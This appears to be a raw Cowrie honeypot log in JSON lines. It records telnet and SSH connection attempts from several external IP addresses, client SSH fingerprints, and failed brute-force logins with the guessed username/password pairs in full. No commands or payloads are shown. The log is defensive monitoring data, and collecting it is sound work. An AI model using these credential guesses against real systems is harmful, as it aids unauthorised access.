{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47130,"dst_ip":"159.203.135.109","dst_port":23,"session":"816c673fe8b4","protocol":"telnet","message":"New connection: 135.148.33.91:47130 (159.203.135.109:23) [session: 816c673fe8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:45.290408Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49190,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed13c3280ba","protocol":"telnet","message":"New connection: 135.148.33.91:49190 (159.203.135.109:23) [session: fed13c3280ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:50.211755Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60754,"dst_ip":"10.17.0.5","dst_port":22,"session":"7426a5fac415","protocol":"ssh","message":"New connection: 161.248.189.72:60754 (10.17.0.5:22) [session: 7426a5fac415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:52.955659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:52.960573Z","src_ip":"161.248.189.72","session":"7426a5fac415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:53.195935Z","src_ip":"161.248.189.72","session":"7426a5fac415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ls","message":"login attempt [root/123456Ls] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:54.164844Z","src_ip":"161.248.189.72","session":"7426a5fac415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82105755805969,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:54.657128Z","src_ip":"135.148.33.91","session":"ccc2b5db5d9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:55.402171Z","src_ip":"161.248.189.72","session":"7426a5fac415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49160,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ee92312f79","protocol":"telnet","message":"New connection: 135.148.33.91:49160 (159.203.135.109:23) [session: 47ee92312f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:56.131038Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ed5b158efd","protocol":"telnet","message":"New connection: 135.148.33.91:53744 (159.203.135.109:23) [session: 08ed5b158efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:57.492588Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":52004,"dst_ip":"159.203.135.109","dst_port":23,"session":"1663223adc36","protocol":"telnet","message":"New connection: 104.140.145.149:52004 (159.203.135.109:23) [session: 1663223adc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:15:58.630487Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":27872,"dst_ip":"10.17.0.5","dst_port":22,"session":"421b978e0701","protocol":"ssh","message":"New connection: 2.57.121.25:27872 (10.17.0.5:22) [session: 421b978e0701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:04.884871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:04.890997Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:04.991309Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230189","message":"login attempt [user/230189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:05.466727Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23011995","message":"login attempt [user/23011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:06.570982Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23011993","message":"login attempt [user/23011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:07.681032Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59796,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e4de3b1c4d","protocol":"telnet","message":"New connection: 135.148.33.91:59796 (159.203.135.109:23) [session: 78e4de3b1c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:08.172262Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"221287","message":"login attempt [user/221287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:08.783675Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22121993","message":"login attempt [user/22121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:09.891665Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:10.995706Z","src_ip":"2.57.121.25","session":"421b978e0701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33284,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6db87fabecb","protocol":"telnet","message":"New connection: 135.148.33.91:33284 (159.203.135.109:23) [session: b6db87fabecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:11.851346Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3afbbe8e548","protocol":"telnet","message":"New connection: 45.58.127.90:50436 (10.17.0.5:23) [session: c3afbbe8e548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:13.646126Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34942,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0cc8c942cb","protocol":"telnet","message":"New connection: 135.148.33.91:34942 (159.203.135.109:23) [session: 9c0cc8c942cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:13.701154Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":57498,"dst_ip":"159.203.135.109","dst_port":23,"session":"21dc11a70de9","protocol":"telnet","message":"New connection: 104.140.145.149:57498 (159.203.135.109:23) [session: 21dc11a70de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:16.998101Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38142,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ca08302bd0","protocol":"telnet","message":"New connection: 135.148.33.91:38142 (159.203.135.109:23) [session: 88ca08302bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:18.942899Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":7434,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c366a37b8dc","protocol":"ssh","message":"New connection: 185.158.22.150:7434 (159.203.135.109:22) [session: 1c366a37b8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:21.731585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:21.737025Z","src_ip":"185.158.22.150","session":"1c366a37b8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:21.897164Z","src_ip":"185.158.22.150","session":"1c366a37b8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.17943978309631,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:22.469747Z","src_ip":"135.148.33.91","session":"816c673fe8b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdfasdf","message":"login attempt [postgres/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:22.574712Z","src_ip":"185.158.22.150","session":"1c366a37b8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.91701817512512,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:23.128618Z","src_ip":"135.148.33.91","session":"fed13c3280ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:24.157918Z","src_ip":"185.158.22.150","session":"1c366a37b8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.26711845397949,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:29.398019Z","src_ip":"135.148.33.91","session":"47ee92312f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262620210647583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:29.893021Z","src_ip":"104.140.145.149","session":"1663223adc36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44422,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c3cff8f312","protocol":"telnet","message":"New connection: 135.148.33.91:44422 (159.203.135.109:23) [session: 13c3cff8f312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:30.312114Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c3500fad901","protocol":"telnet","message":"New connection: 135.148.33.91:44728 (159.203.135.109:23) [session: 0c3500fad901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:30.804059Z"}
{"eventid":"cowrie.session.closed","duration":35.312579870224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:32.805072Z","src_ip":"135.148.33.91","session":"08ed5b158efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48046,"dst_ip":"159.203.135.109","dst_port":23,"session":"36a732ff5660","protocol":"telnet","message":"New connection: 135.148.33.91:48046 (159.203.135.109:23) [session: 36a732ff5660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:35.418119Z"}
{"eventid":"cowrie.session.closed","duration":34.186829805374146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:42.358938Z","src_ip":"135.148.33.91","session":"78e4de3b1c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54777503013611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:44.193794Z","src_ip":"45.58.127.90","session":"c3afbbe8e548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52050161361694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:46.371694Z","src_ip":"135.148.33.91","session":"b6db87fabecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.508923292160034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:48.506899Z","src_ip":"104.140.145.149","session":"21dc11a70de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56292,"dst_ip":"159.203.135.109","dst_port":23,"session":"070cf21bea78","protocol":"telnet","message":"New connection: 135.148.33.91:56292 (159.203.135.109:23) [session: 070cf21bea78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:49.553694Z"}
{"eventid":"cowrie.session.closed","duration":33.44663643836975,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:52.389412Z","src_ip":"135.148.33.91","session":"88ca08302bd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.699687004089355,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:52.400701Z","src_ip":"135.148.33.91","session":"9c0cc8c942cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60832,"dst_ip":"10.17.0.5","dst_port":22,"session":"e54cb60fda86","protocol":"ssh","message":"New connection: 161.248.189.72:60832 (10.17.0.5:22) [session: e54cb60fda86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:53.702384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:53.707257Z","src_ip":"161.248.189.72","session":"e54cb60fda86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:53.933860Z","src_ip":"161.248.189.72","session":"e54cb60fda86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a10ef2ec8e","protocol":"telnet","message":"New connection: 135.148.33.91:58338 (159.203.135.109:23) [session: e8a10ef2ec8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:54.031161Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kk123456789","message":"login attempt [root/Kk123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:54.865306Z","src_ip":"161.248.189.72","session":"e54cb60fda86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:56.094408Z","src_ip":"161.248.189.72","session":"e54cb60fda86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33978,"dst_ip":"159.203.135.109","dst_port":23,"session":"774c4d38d763","protocol":"telnet","message":"New connection: 135.148.33.91:33978 (159.203.135.109:23) [session: 774c4d38d763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:16:59.555645Z"}
{"eventid":"cowrie.session.closed","duration":36.10661220550537,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:06.910548Z","src_ip":"135.148.33.91","session":"0c3500fad901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.922606468200684,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:07.234571Z","src_ip":"135.148.33.91","session":"13c3cff8f312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":26550,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6881e97c7ca","protocol":"ssh","message":"New connection: 185.158.22.150:26550 (159.203.135.109:22) [session: b6881e97c7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:08.176710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:08.186898Z","src_ip":"185.158.22.150","session":"b6881e97c7ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:08.348570Z","src_ip":"185.158.22.150","session":"b6881e97c7ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital@2017","message":"login attempt [root/Digital@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:09.029004Z","src_ip":"185.158.22.150","session":"b6881e97c7ca","protocol":"ssh"}
